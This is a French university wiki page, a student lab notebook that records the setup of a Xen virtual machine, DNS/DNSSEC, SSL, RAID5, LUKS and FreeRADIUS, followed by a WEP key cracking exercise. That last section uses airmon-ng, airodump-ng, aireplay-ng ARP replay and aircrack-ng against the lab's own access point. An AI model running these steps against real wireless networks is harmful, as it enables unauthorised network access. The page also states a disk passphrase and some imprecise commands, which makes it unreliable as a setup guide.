Cahier 2017 groupe n°6 : Différence entre versions

De Wiki d'activités IMA
(Sécurisation via RAID5)
(Craquage de clé WEP)
 
(4 révisions intermédiaires par un autre utilisateur non affichées)
Ligne 4 : Ligne 4 :
  
 
=== Définition d'un DNSSEC ===
 
=== Définition d'un DNSSEC ===
 +
Un serveur DNS sert à obtenir l'adresse IP correspondant à un nom de domaine (URL dans le cas d'un site Web). L'adresse IP est indispensable à notre navigateur car sans elle, il est incapable de contacter le serveur web responsable du site visité.
 +
 +
Le DNSSEC permet de sécuriser les données envoyées par le DNS. Il a été invité afin de protéger le DNS d'attaques. Le DNSSEC appose une "signature" aux données afin de les certifier auprès de l'utilisateur.
 +
 +
=== Objectif ===
 +
L'objectif de cette tâche secondaire est de réaliser des test approfondis sur le DNSSEC de la plateforme. Dans un premier temps, il s'agit de l'installer en salle serveur. Dans un second temps, il s'agit d'étudier le bon fonctionnement du DNSSEC (les clefs changent-elles correctement chaque semaine ?)
 +
 +
=== Réalisation ===
 +
Dans un premier temps, nous avons installé  le serveur. Il a alors fallu trouver les rails adéquats pour le réaliser. Sur notre serveur, nous avons regardé les configurations réseau :
 +
 +
ifconfig eth0
 +
vlan6 : 172.26.64.14
 +
mask : 255.255.240.0
 +
gateway : 172.26.79.254
 +
 +
L’idée pour reconnecter notre serveur au réseau était de mettre le réseau insecure sur le vlan6 et internet sur le vlan47. Pour cela nous avons réalisé les commandes suivantes :
 +
 +
configure terminal
 +
vlan6
 +
name insecure
 +
 +
Nous faisons la même chose pour le name internet
 +
 +
En faisant un show vlan sur notre serveur, nous voyons bien les noms apparaitre :
 +
 +
mount -o loop
 +
xl create –c /etc/xen/ima5-dns.cfg
 +
vi /etc/host
 +
 +
Et nous mettons ima5-dns partout. Ainsi, pour se connecter à la machine virtuelle par ssh, nous le faisons en passant par weppes en faisant :
 +
<pre>
 +
Ssh -6 addresseIPV6 –l root
 +
</pre>
 +
 +
Enfin, le DNSSEC doit faire un changer de clefs toutes les semaines, nous devons vérifier si cela est bien le cas. Dans le dossier /etc/bind/zone, nous pouvons y voir figurer quatre zones. La zone plil.info est la seule supposée fonctionner. Les clefs se situe dans le dossier /root/dns/rollzsk. Nous pouvons faire changer les clefs. Lorsque nous avons lancé le serveur, il a également fallu relancer le script chargé de faire changer les clefs chaque semaine. Le script se coupant, nous l’avons lancé en tâche de fond et avons attendu la semaine suivante pour voir si un changement avait été fait. Nous avons également réalisé une sauvegarde des clefs actuelles dans un dossier afin de pouvoir réaliser la comparaison.
 +
Les semaines suivantes, nous n’avons pas vu de changement au niveau des clefs, il s’agissait toujours des mêmes.
  
 
== Installation du matériel ==
 
== Installation du matériel ==
Ligne 188 : Ligne 224 :
 
<pre>
 
<pre>
 
a2enmod ssl  
 
a2enmod ssl  
a2ensite 000-piscinemorte.net-ssl.conf
+
a2ensite 000-papaye.space-ssl.conf
 
service apache2 reload
 
service apache2 reload
 
</pre>
 
</pre>
Ligne 271 : Ligne 307 :
  
 
<pre>
 
<pre>
root@Deadpool:/mnt# ls
+
root@Papaye:/mnt# ls
 
lost+found  test.txt
 
lost+found  test.txt
 +
</pre>
  
 
Nous remettons la partition :
 
Nous remettons la partition :
Ligne 280 : Ligne 317 :
  
  
=== Cryptage ===
+
=== Cryptage des données ===
//Coming soon
+
Dans cette partie, nous allons voir comment crypter des données sur un disque virtuel.
 +
De la même manière que pour la partie précédente, nous créons un disque virtuel via la commande :
 +
<pre>
 +
lvcreate -L 1G -n /dev/virtual/papaye-cryptage
 +
</pre>
 +
Nous rajoutons ce disque à la configuration de notre machine virtuelle. Depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons :
 +
<pre>
 +
'phy:/dev/virtual/papaye-cryptage,xvdd4, w',
 +
</pre>
 +
 
 +
Nous configurons le disque en type Luks :
 +
<pre>
 +
cryptsetup luksFormat /dev/xvdd4
 +
</pre>
 +
La phrase secrète est : pasglop, glopglop ou michel.
 +
 
 +
Nous pouvons vérifier les informations via cette commande :
 +
<pre>
 +
cryptsetup luksDump /dev/xvdd4
 +
</pre>
 +
 
 +
Ainsi, nous obtenons les informations suivantes :
 +
<pre>
 +
LUKS header information for /dev/xvdd4
 +
 
 +
Version:      1
 +
Cipher name:  aes
 +
Cipher mode:  xts-plain64
 +
Hash spec:    sha256
 +
Payload offset: 4096
 +
MK bits:      256
 +
MK digest:    25 40 d5 6d b9 ff c0 d3 d8 cd fb e8 80 41 eb a8 f3 13 58 30
 +
MK salt:      a1 9e 1a 6d 40 59 46 86 14 9e 2a de 66 86 6b e0
 +
39 79 44 db ac 5f 01 a2 cb 9f b8 46 40 4c 3c 53
 +
MK iterations: 242250
 +
UUID:          2e9af817-8eb1-4478-a095-048645e8983d
 +
 
 +
Key Slot 0: ENABLED
 +
Iterations:        1924810
 +
Salt:              f6 28 22 be 14 d9 78 3e 83 d2 f7 cb af bf 1f 52
 +
88 8f bf bf 83 e2 28 65 1d f1 d3 fe 16 6c b8 e0
 +
Key material offset: 8
 +
AF stripes:            4000
 +
Key Slot 1: DISABLED
 +
Key Slot 2: DISABLED
 +
Key Slot 3: DISABLED
 +
Key Slot 4: DISABLED
 +
Key Slot 5: DISABLED
 +
Key Slot 6: DISABLED
 +
Key Slot 7: DISABLED
 +
</pre>
 +
 
 +
Nous ouvrons notre partition cryptée avec :
 +
<pre>
 +
cryptsetup luksOpen /dev/xvdd4
 +
</pre>
 +
Puis, nous saisissons la phrase secrète.
 +
 
 +
Nous ajoutons des fichiers :
 +
<pre>
 +
mkfs.ext3 /dev/mapper/kadoc
 +
</pre>
 +
 
 +
Ensuite, nous créons un dossier contenant un fichier contenant une simple phrase. Pour écrire dedans il faut monter notre partition.
 +
Montage :
 +
<pre>
 +
mount -t ext3 /dev/mapper/kadoc /mnt/
 +
</pre>
 +
Démontage :
 +
<pre>
 +
umount /mnt/
 +
</pre>
 +
 
 +
Nous encryptons à nouveau la partition avec la commande suivante :
 +
<pre>
 +
cryptsetup luksClose kadoc
 +
</pre>
 +
 
 +
Enfin, nous vérifions avec GParted que notre partition n'est plus accessible sans mot de passe :
 +
<pre>
 +
gparted /dev/xvdd4
 +
</pre>
 +
 
 +
La commande nous renvoie :
 +
<pre>
 +
root@IMA5-Papaye:/# gparted /dev/xvdd4
 +
Created symlink /run/systemd/system/-.mount -> /dev/null.
 +
Created symlink /run/systemd/system/home.mount -> /dev/null.
 +
Created symlink /run/systemd/system/tmp.mount -> /dev/null.
 +
Created symlink /run/systemd/system/var.mount -> /dev/null.
 +
[ 1051.732565] systemd[1]: apt-daily.timer: Adding 2h 21min 20.971598s random time.
 +
[ 1051.733189] systemd[1]: apt-daily-upgrade.timer: Adding 46min 37.363850s random time.
 +
 
 +
(gpartedbin:3635): Gtk-WARNING **: cannot open display:
 +
Removed /run/systemd/system/-.mount.
 +
Removed /run/systemd/system/home.mount.
 +
Removed /run/systemd/system/tmp.mount.
 +
Removed /run/systemd/system/var.mount.
 +
[ 1051.853426] systemd[1]: apt-daily.timer: Adding 6h 49min 20.775084s random time.
 +
[ 1051.854034] systemd[1]: apt-daily-upgrade.timer: Adding 47min 6.121251s random time.
 +
root@IMA
 +
</pre>
 +
 
 +
== Configuration des bornes Wifi ==
 +
=== Création du serveur FreeRadius ===
 +
Dans un premier temps, il est nécessaire d'implémenter un serveur d'identification FreeRADIUS sur notre machine virtuelle.
 +
 
 +
Pour cela, il faut installer FreeRADIUS :
 +
<pre>
 +
apt-get install freeradius
 +
</pre>
 +
 
 +
Ensuite, nous ajoutons un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi :
 +
<pre>
 +
nom_de_l_utilisateur Cleartext-password := "mot_de_passe"
 +
</pre>
 +
 
 +
 
 +
Nous ajoutons aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf. Pour le moment, nous avons réalisé des tests avec un seul client :
 +
<pre>
 +
client E304 {
 +
        ipaddr = 10.10.0.10
 +
        secret = mot_de_passe
 +
}
 +
</pre>
 +
 
 +
Pour redémarrer FreeRADIUS, nous effectuons :
 +
<pre>
 +
service freeradius restart
 +
</pre>
 +
 
 +
=== Craquage de clé WEP ===
 +
Pour ce faire, nous avons besoin de deux postes. Sur le premier, il est nécessaire de générer un traffic sur le réseau afin de capturer les paquets ARP sur l'autre ordinateur. Nous le faisons à l'aide de la commande nping de la manière suivante :
 +
<pre>
 +
nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2
 +
</pre>
 +
 
 +
Nous mettons le mode moniteur sur la clé wifi. Il nous faut pour cela le nom de notre clé wifi (wlx40a5ef0125e9), obtenu grâce à la commande iwconfig :
 +
<pre>
 +
airmon-ng start wlx40a5ef0125e9
 +
</pre>
 +
 
 +
Ensuite, nous avons besoin de connaitre le BSSID, channel (CH) et ESSID. Pour cela, nous réalisons :
 +
<pre>
 +
airodump-ng wlx40a5ef0125e9
 +
</pre>
 +
 
 +
Maintenant, sur le deuxième poste, nous capturons les trames circulant sur le réseau :
 +
<pre>
 +
airodump-ng --bssid C4:14:3C:40:78:65 -c 3 -w crack_wep wlx40a5ef0125e9
 +
</pre>
 +
 
 +
Pour accélérer le craquage, nous allons générer d'avantage de traffique sur le réseau :
 +
<pre>
 +
aireplay-ng -3 -b C4:14:3C:40:78:65 -h 00:0F:B5:92:22:68 wlx40a5ef0125e9 (00:0F:B5:92:22:68 étant l'adresse MAC de l'ordinateur secondaire)
 +
</pre>
 +
 
 +
Voici le résultat :
 +
[[Fichier:Resultat_craquage_dorian.jpg|800 px|thumb|center|Résultat du craquage]]
 +
 
 +
Il suffit maintenant de craquer la data capturée dans le fichier.cap :
 +
<pre>
 +
aircrack-ng crack_wep-02.cap
 +
</pre>

Version actuelle datée du 26 janvier 2018 à 10:33

Tâche spécifique

Présentation de la tâche

Définition d'un DNSSEC

Un serveur DNS sert à obtenir l'adresse IP correspondant à un nom de domaine (URL dans le cas d'un site Web). L'adresse IP est indispensable à notre navigateur car sans elle, il est incapable de contacter le serveur web responsable du site visité.

Le DNSSEC permet de sécuriser les données envoyées par le DNS. Il a été invité afin de protéger le DNS d'attaques. Le DNSSEC appose une "signature" aux données afin de les certifier auprès de l'utilisateur.

Objectif

L'objectif de cette tâche secondaire est de réaliser des test approfondis sur le DNSSEC de la plateforme. Dans un premier temps, il s'agit de l'installer en salle serveur. Dans un second temps, il s'agit d'étudier le bon fonctionnement du DNSSEC (les clefs changent-elles correctement chaque semaine ?)

Réalisation

Dans un premier temps, nous avons installé le serveur. Il a alors fallu trouver les rails adéquats pour le réaliser. Sur notre serveur, nous avons regardé les configurations réseau :

ifconfig eth0
vlan6 : 172.26.64.14
mask : 255.255.240.0
gateway : 172.26.79.254

L’idée pour reconnecter notre serveur au réseau était de mettre le réseau insecure sur le vlan6 et internet sur le vlan47. Pour cela nous avons réalisé les commandes suivantes :

configure terminal
vlan6
name insecure

Nous faisons la même chose pour le name internet

En faisant un show vlan sur notre serveur, nous voyons bien les noms apparaitre :

mount -o loop
xl create –c /etc/xen/ima5-dns.cfg
vi /etc/host

Et nous mettons ima5-dns partout. Ainsi, pour se connecter à la machine virtuelle par ssh, nous le faisons en passant par weppes en faisant :

Ssh -6 addresseIPV6 –l root

Enfin, le DNSSEC doit faire un changer de clefs toutes les semaines, nous devons vérifier si cela est bien le cas. Dans le dossier /etc/bind/zone, nous pouvons y voir figurer quatre zones. La zone plil.info est la seule supposée fonctionner. Les clefs se situe dans le dossier /root/dns/rollzsk. Nous pouvons faire changer les clefs. Lorsque nous avons lancé le serveur, il a également fallu relancer le script chargé de faire changer les clefs chaque semaine. Le script se coupant, nous l’avons lancé en tâche de fond et avons attendu la semaine suivante pour voir si un changement avait été fait. Nous avons également réalisé une sauvegarde des clefs actuelles dans un dossier afin de pouvoir réaliser la comparaison. Les semaines suivantes, nous n’avons pas vu de changement au niveau des clefs, il s’agissait toujours des mêmes.

Installation du matériel

Tâches communes

Installation de la machine virtuelle

Création

Les machines virtuelles que nous installons sont sur le serveur cordouan que nous accédons via SSH. La création des machines virtuelles (VMs) s'effectue grâce à la commande "xen". Ainsi, depuis cordouan, nous lançons la commande xen-create-image en prenant soin d'y ajoutant les paramètres importants. Il est à noter que nous changerons l'adresse IP initiale car lors de la première séance nous avions travaillé sur le réseau insecure qui n'est pas notre réseau définitif.

xen-create-image --hostname=papaye --ip=172.26.79.101 --netmask=255.255.255.224 --gateway=172.26.79.254 --dir=/usr/local/xen

Une fois la VM créée, il est possible de la démarrer de la manière suivante :

 xl create /etc/xen/IMA5-Papaye/cfg 

Ensuite, nous lançons la console de cette manière :

 xl console IMA5-Papaye 
Puis, pour sortir de cette dernière, nous faisons :
 ctrl + alt gr + ] 
Enfin, pour éteindre la machine virtuelle :
 xl shutdown IMA5-Papaye 
Et pour détruire la VM :
 xl destroy IMA5-Papaye 

Configuration

Maintenant, nous devons faire en sorte que les répertoires var et home de notre VM soient sur des partitions de l'hôte. Pour cela, nous utilisons la commande lvcreate.

Il est à noter que pour le répertoire home, la manipulation est un peu plus simple que pour le répertoire var. Tout d'abord, nous faisons appel à lvcreate de la manière suivante, depuis cordouan :

lvcreate -L10G -IMA5-Papaye-home
lvcreate -L10G -IMA5-Papaye-var

(Il est possible de visualiser notre home grâce à la commande lsblk qui affiche tous les périphériques bloc.

Ensuite, nous ajoutons les disques dans le fichier de configuration de cordouan, dans /etc/xen/IMA5-Papaye. Nous appelons le disque home, xvda3 et le disque var, xvda4.

Puis, nous transformons nos disque en partitions ext4 :

mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvda4

HOME

Pour la partition home, il suffit de modifier le fichier /etc/fstab de la VM et d'y ajouter la ligne suivante pour que la partition soit montée au démarrage :

 /dev/xvda3 /home ext4 defaults 0 2 

Le "0" indique que nous sauvegardons jamais et le "2" est propre à la sécurité de la partition.

Ainsi, un simple
 mount -a 
suffit à monter à la partition. (Il est possible de la vérifier grâce à la commande df)

VAR

Pour la partition var, c'est un peu plus compliqué car il faut monter la partition dans un /mnt temporaire avant de la déplacer. Nous effectuons donc les instructions suivantes :

mount /dev/xvda4 /mnt
mv /var/* /mnt

Enfin, nous modifions le fichier /etc/fstab de la même manière que pour la partition home :

 /dev/xvda4 /var ext4 defaults 0 2 

Serveur SSH

Dans un premier temps, nous devons changer l'adresse IP de notre machine virtuelle ainsi que son masque dans /etc/config. Notre adresse IP est 193.48.57.178. Et notre masque est 255.255.255.240. Puis, nous avons modifié le fichier /etc/xen/IMA5-Papaye. En effet, nous remplaçons l'id par IMA5sc (pour la première séance, nous utilisions insecure). De plus, nous rajoutons la route par défaut, le gateway : 193.49.57.177 dans le fichier /etc/config.

Il est nécessaire d'installer ssh sur notre machine virtuelle :

apt-get install ssh

De plus, il est important de modifier le fichier /etc/ssh/sshd_config en changeant la ligne suivante :

 PermitRootLogin Prohibited 

par

 PermitRootLogin yes 

Grâce à cela, nous pourrons nous connecter en root sur la machine en ssh.

Nous redémarrons le service :

 service ssh restart 

Serveur DNS

Dans un premier temps, nous avons acheté notre nom de domaine sur Gandi en prenant soin que ce dernier autorise l'installation d'un DNSSEC. Nous avons donc pris le domaine papaye.space.

Puis, nous avons installé bind9 et apache2 :
apt-get install bind9 apache2 
. Nous avons d'ailleurs ajouté au fichier /etc/default/bind9 la ligne suivante :
 OPTIONS="-4 -u bind" 

Ensuite, nous créons le dossier pour la page web qui sera vide pour le moment :

 mkdir /var/www/www.papaye.space 

Dans un second temps, nous créons la table de DNS ou le fichier de zone : dns.papaye.space, en voici le contenu :

 
;
; BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     dns.papaye.space. root.papaye.space (
                              2         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
        IN      NS      dns.papaye.space.
ns      IN      A       193.48.57.178
www     IN      A       193.48.57.178 

Ensuite, nous configurons le fichier named.conf.local :

 zone "papaye.space" {
        type master;
        file "/etc/bind/dns.papaye.space";
};
 

Ainsi que le fichier named.conf.options (217.70.177.40/32 étant l'adresse IP de Gandi, notre DNS esclave :

 
options {
        directory "var/cache/bind"
        dnssec-validation auto;
        auth-nxdomain no;
        allow-transfer {"allowed_to_transfer";}
        listen-on-v6 {any;}
}
acl "allowed_to_transfer" {
        217.70.177.40/32;
}
 

Enfin, nous redémarrons notre service bind9 :

 service bind9 restart 

Les configurations depuis notre machine virtuelle sont terminées mais nous avons dû également effectuer un réglage depuis Gandi afin de renseigner nos DNS. Pour les "glues records",

 
'Nom du serveur' : dns.papaye.space
'IP' : 193.48.57.178 

Pour les DNS,

 
'DNS1' : dns.papaye.space
'DNS2' : ns6.gandi.net 

Sécurisation du site web via un certificat

L'objectif de cette partie est d'obtenir un certificat pour notre site web. Le certificat SSL généré par Gandi s'obtient de la manière suivante :

 openssl req -nodes -newkey rsa:2048 -sha1 -keyout papaye.space.key -out papaye.space.csr 

Afin de valider notre certificat par Gandi, nous avons dû ajouter une ligne de code à notre fiche de zone (dns.papaye.space), qui était donné par le site.

Une fois le certificat validé par Gandi, un petit cadenas noir est visualisable à côté de notre nom de domaine. De plus, nous pouvons recopier les fichiers de certification générés par Gandi dans le dossier SSL.

cp certificat.crt /etc/ssl/certs/papaye.space.crt
cp serveur.key /etc/ssl/private/papaye.space.key
cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem

Nous faisons un hashage de notre structure afin que notre certificat soit prend en compte :

 c_rehash /etc/ssl/certs 

Puis, nous créons le fichier 000-papaye.space-ssl.conf dans /etc/apache2/sites-available/ pour associer apache2 à notre nom de serveur :

#NameVirtualHost *:443
        <VirtualHost 193.48.57.178:443>
                ServerName www.papaye.space
                ServerAlias papaye.space
                DocumentRoot /var/www/www.papaye.space/
                CustomLog /var/log/apache2/secure_acces.log combined

                SSLEngine on
                SSLCertificateFile /etc/ssl/certs/papaye.space.crt
                SSLCertificateKeyFile /etc/ssl/private/papaye.space.key
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
                SSLVerifyClient None
        </VirtualHost>
        <Directory /var/www/www.papaye.space>
                Require all granted
        </Directory>
ServerName "papaye.space"

Ensuite, nous modifions le fichier ports.conf du serveur Apache afin qu'il écoute le port 443 (SSL):

Listen 80 443

<IfModule ssl_module>
        Listen 443
</IfModule>

Enfin, nous activons le module SSL d'Apache et activons notre site avec notre certificat :

a2enmod ssl 
a2ensite 000-papaye.space-ssl.conf
service apache2 reload

Sécurisation du DNS via un DNSSEC

Dans un premier temps, nous devons activer le DNSSEC en ajoutant l'option dans le fichier /etc/bind/named.conf.options :

 dnssec-enable yes; 

Ensuite, nous créons le répertoire dans lequel nous allons créer nos clef :

mkdir papaye.space.dnssec
cd papaye.space.dnssec

Dans un second temps, nous générons nos clefs KSK et ZSK de la manière suivante :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE papaye.space
dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE papaye.space

Nous devons inclure ces clefs dans notre fichier de zone (dns.papaye.space) (la 14842 étant la ksk et l'autre la zsk):

$include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+14842.key
$include /etc/bind/papaye.space.dnssec/Kpapaye.space.+005+62520.key

Enfin, nous signons la zone :

 dnssec-signzone -o papaye.space-k Kpapaye.space.+005+14842 ../dns.papaye.space Kpapaye.space.+005+62520 

Pour finir, nous saisissons dans Gandi la clé publique de la KSK et de la ZSK en allant dans l'onglet "générer DNSSEC". Nous vérifions la sécurisation grâce à la commande :

 dig DNSKEY papaye.space @localhost 

Nous remarquons bien la présence de DNSKEY qui nous certifie la sécurisation de notre DNS.

Sécurisation et cryptage des données

Sécurisation via RAID5

Depuis cordouan, nous créons 3 disque disques virtuels avec lvcreate :

lvcreate -L 1G -n /dev/virtual/papaye-raid1
lvcreate -L 1G -n /dev/virtual/papaye-raid2
lvcreate -L 1G -n /dev/virtual/papaye-raid3

Nous rajoutons ces disques à la configuration de notre machine virtuelle. Toujours depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons :

'phy:/dev/virtual/papaye-raid1,xvdd1, w',
'phy:/dev/virtual/papaye-raid2,xvdd2, w',
'phy:/dev/virtual/papaye-raid3,xvdd3, w',

Depuis notre machine virtuelle cette fois, nous installons mdadm :

apt-get install mdadm 

Nous créons le disque RAID5 md0 :

 mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3 

Nous installons le système de fichier ext4 dessus :

 mkfs -t ext4 /dev/md0 

Nous sauvegardons le tout et montons le disque :

 
mdadm --detail --scan >> /etc/mdadm/mdadm.conf
mount /dev/md0 /mnt

Enfin nous effectuons un petit test afin de noter la reconstruction de notre disque. Nous supprimons une des partitions et observons qu'il est bien manquant dans la configuration :

 
mdadm --set-faulty /dev/md0 /dev/xvdd2
mdadm --remove /dev/md0 /dev/xvdd2
cat /proc/mdstat
Personalities : [raid6] [raid5] [raid4] 
md0 : active raid5 xvdd1[0] xvdd3[2]
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [U_U]

Nous montons le disque à nouveau et pouvons noter la reconstruction du disque :

mount /dev/md0 /mnt
root@Papaye:/mnt# ls
lost+found  test.txt

Nous remettons la partition : mdadm --add /dev/md0 /dev/xvdd2

Et on observe la reconstruction grâce à cat /proc/mdstat.


Cryptage des données

Dans cette partie, nous allons voir comment crypter des données sur un disque virtuel. De la même manière que pour la partie précédente, nous créons un disque virtuel via la commande :

lvcreate -L 1G -n /dev/virtual/papaye-cryptage

Nous rajoutons ce disque à la configuration de notre machine virtuelle. Depuis cordouan, dans /etc/xen/Papaye.cfg, nous ajoutons :

'phy:/dev/virtual/papaye-cryptage,xvdd4, w',

Nous configurons le disque en type Luks :

cryptsetup luksFormat /dev/xvdd4

La phrase secrète est : pasglop, glopglop ou michel.

Nous pouvons vérifier les informations via cette commande :

cryptsetup luksDump /dev/xvdd4

Ainsi, nous obtenons les informations suivantes :

LUKS header information for /dev/xvdd4

Version:       	1
Cipher name:   	aes
Cipher mode:   	xts-plain64
Hash spec:     	sha256
Payload offset:	4096
MK bits:       	256
MK digest:     	25 40 d5 6d b9 ff c0 d3 d8 cd fb e8 80 41 eb a8 f3 13 58 30
MK salt:       	a1 9e 1a 6d 40 59 46 86 14 9e 2a de 66 86 6b e0
39 79 44 db ac 5f 01 a2 cb 9f b8 46 40 4c 3c 53
MK iterations: 	242250
UUID:          	2e9af817-8eb1-4478-a095-048645e8983d

Key Slot 0: ENABLED
Iterations:         	1924810
Salt:               	f6 28 22 be 14 d9 78 3e 83 d2 f7 cb af bf 1f 52
88 8f bf bf 83 e2 28 65 1d f1 d3 fe 16 6c b8 e0
Key material offset:	8
AF stripes:            	4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED

Nous ouvrons notre partition cryptée avec :

cryptsetup luksOpen /dev/xvdd4

Puis, nous saisissons la phrase secrète.

Nous ajoutons des fichiers :

mkfs.ext3 /dev/mapper/kadoc

Ensuite, nous créons un dossier contenant un fichier contenant une simple phrase. Pour écrire dedans il faut monter notre partition. Montage :

mount -t ext3 /dev/mapper/kadoc /mnt/ 

Démontage :

umount /mnt/ 

Nous encryptons à nouveau la partition avec la commande suivante :

cryptsetup luksClose kadoc 

Enfin, nous vérifions avec GParted que notre partition n'est plus accessible sans mot de passe :

gparted /dev/xvdd4

La commande nous renvoie :

root@IMA5-Papaye:/# gparted /dev/xvdd4
Created symlink /run/systemd/system/-.mount -> /dev/null.
Created symlink /run/systemd/system/home.mount -> /dev/null.
Created symlink /run/systemd/system/tmp.mount -> /dev/null.
Created symlink /run/systemd/system/var.mount -> /dev/null.
[ 1051.732565] systemd[1]: apt-daily.timer: Adding 2h 21min 20.971598s random time.
[ 1051.733189] systemd[1]: apt-daily-upgrade.timer: Adding 46min 37.363850s random time.

(gpartedbin:3635): Gtk-WARNING **: cannot open display:
Removed /run/systemd/system/-.mount.
Removed /run/systemd/system/home.mount.
Removed /run/systemd/system/tmp.mount.
Removed /run/systemd/system/var.mount.
[ 1051.853426] systemd[1]: apt-daily.timer: Adding 6h 49min 20.775084s random time.
[ 1051.854034] systemd[1]: apt-daily-upgrade.timer: Adding 47min 6.121251s random time.
root@IMA

Configuration des bornes Wifi

Création du serveur FreeRadius

Dans un premier temps, il est nécessaire d'implémenter un serveur d'identification FreeRADIUS sur notre machine virtuelle.

Pour cela, il faut installer FreeRADIUS :

apt-get install freeradius

Ensuite, nous ajoutons un utilisateur dans le fichier /etc/freeradius/users pour s'authentifier sur le réseau WiFi :

nom_de_l_utilisateur Cleartext-password := "mot_de_passe"


Nous ajoutons aussi les clients (correspondants aux deux points d'accès Wifi et à notre futur VLAN) dans le fichier /etc/freeradius/clients.conf. Pour le moment, nous avons réalisé des tests avec un seul client :

client E304 {
        ipaddr = 10.10.0.10
        secret = mot_de_passe
}

Pour redémarrer FreeRADIUS, nous effectuons :

service freeradius restart

Craquage de clé WEP

Pour ce faire, nous avons besoin de deux postes. Sur le premier, il est nécessaire de générer un traffic sur le réseau afin de capturer les paquets ARP sur l'autre ordinateur. Nous le faisons à l'aide de la commande nping de la manière suivante :

nping --arp-type ARP -c 11000  --flags rst --ttl 2 10.2.0.2

Nous mettons le mode moniteur sur la clé wifi. Il nous faut pour cela le nom de notre clé wifi (wlx40a5ef0125e9), obtenu grâce à la commande iwconfig :

airmon-ng start wlx40a5ef0125e9

Ensuite, nous avons besoin de connaitre le BSSID, channel (CH) et ESSID. Pour cela, nous réalisons :

airodump-ng wlx40a5ef0125e9

Maintenant, sur le deuxième poste, nous capturons les trames circulant sur le réseau :

airodump-ng --bssid C4:14:3C:40:78:65 -c 3 -w crack_wep wlx40a5ef0125e9

Pour accélérer le craquage, nous allons générer d'avantage de traffique sur le réseau :

aireplay-ng -3 -b C4:14:3C:40:78:65 -h 00:0F:B5:92:22:68 wlx40a5ef0125e9 (00:0F:B5:92:22:68 étant l'adresse MAC de l'ordinateur secondaire)

Voici le résultat :

Résultat du craquage

Il suffit maintenant de craquer la data capturée dans le fichier.cap :

aircrack-ng crack_wep-02.cap